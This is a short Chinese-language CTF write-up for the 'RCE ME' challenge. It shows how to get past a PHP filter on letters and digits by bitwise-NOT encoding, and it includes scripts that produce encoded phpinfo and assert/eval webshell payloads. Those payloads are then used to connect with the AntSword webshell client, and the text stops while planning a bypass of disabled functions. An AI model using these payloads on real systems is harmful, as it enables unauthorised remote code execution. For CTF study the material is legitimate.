[极客大挑战 2019]RCE ME

image-20240507153019360

过滤了所有的字母和数字,这一次我们可以采用取反获取payload

先试试phpinfo

<?php
$c = 'phpinfo';
$d = urlencode(~$c);
echo $d;

所以在此

构造payload:

?code=(~%8F%97%8F%96%91%99%90)();

解析一下,因为字符串是取反了的,所以在前面填一个~相当于又取反回来了,在加上()和;相当于一个命令执行

image-20240507154246611

发现禁用函数

先不管,首先创造payload:

assert(eval($_POST[1]));

这个就是一句话木马,使用assert将括号内的内容当做代码执行

将这个进行取反

但是主义assert和eval($_POST[1])要分开来取反,所以创建一个脚本

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo '(~'.$b.')';
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo '(~'.$d.')';
?>

然后使用蚁剑进行连接

连接成功

image-20240507155106130

但是关键的两个打不开,我们猜测要使用readflag去进行读取,但是禁用了许多函数

我们这里可以尝试一下使用蚁剑的插件